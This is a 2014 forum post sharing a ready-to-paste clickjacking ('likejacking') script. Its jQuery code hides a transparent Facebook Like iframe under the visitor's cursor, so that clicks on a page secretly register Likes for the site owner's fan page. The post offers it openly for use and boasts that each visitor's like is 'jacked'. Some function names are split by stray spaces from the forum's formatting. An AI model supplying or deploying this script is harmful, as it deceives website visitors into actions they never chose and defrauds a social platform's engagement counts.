11-14-2014, 02:07 AM
Just before the </head> tag place the following code
Under the body Tag Use the following Lines and Replace your FB page link with Replace Your facebook fanpage
Where ever a user clicks on your site you will jack a like from the specific user and if the user is returning again and clicks again the like wont be removed.
P.S. I am not the orginal poster of this script, just found it and thought to share :)
-Sasha
Code:
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript">
</script>
<script type="text/javascript">
function ClickJackFbHide(){
jQuery("div[id^=\'clickjack-button-wrapper\']").hide();
}
function ClickJackFbShow(){
jQuery("div[id^=\'clickjack-button-wrapper\']").show();
}
</script>
Under the body Tag Use the following Lines and Replace your FB page link with Replace Your facebook fanpage
Code:
<div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Op acity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">
<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->
<iframe src="http://www.facebook.com/plugins/like.php?href=Replace Your facebook fanpage url&layout=button_count&show_faces=false&a mp;width=50&action=like&colorscheme=light& amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>
</div>
<script type="text/javascript">
jQuery( document ).ready( function() {
$( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
jQuery( "#clickjack-button-wrapper-5" ).css( {
top: e.pageY - 10,
left: e.pageX + 30
} );
} );
clickjack_hider();
var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
} );
function clickjack_hider(){
jQuery("input").mouseout(function(){ClickJackFbSho w();});
jQuery("a").mouseout(function(){ClickJackFbShow(); });
jQuery("button").mouseout(function(){ClickJackFbSh ow();});
jQuery("textarea").mouseout(function(){ClickJackFb Show();});
jQuery(".ratingblock").mouseout(function(){ClickJa ckFbShow();}); jQuery("object").mouseout(function(){ClickJackFbSh ow();});
jQuery("input").mouseover(function(){ClickJackFbHi de();});
jQuery("a").mouseover(function(){ClickJackFbHide() ;});
jQuery("button").mouseover(function(){ClickJackFbH ide();});
jQuery("textarea").mouseover(function(){ClickJackF bHide();});
jQuery(".ratingblock").mouseover(function(){ClickJ ackFbHide();}); jQuery("object").mouseover(function(){ClickJackFbH ide();});
}
</script>
Where ever a user clicks on your site you will jack a like from the specific user and if the user is returning again and clicks again the like wont be removed.
P.S. I am not the orginal poster of this script, just found it and thought to share :)
-Sasha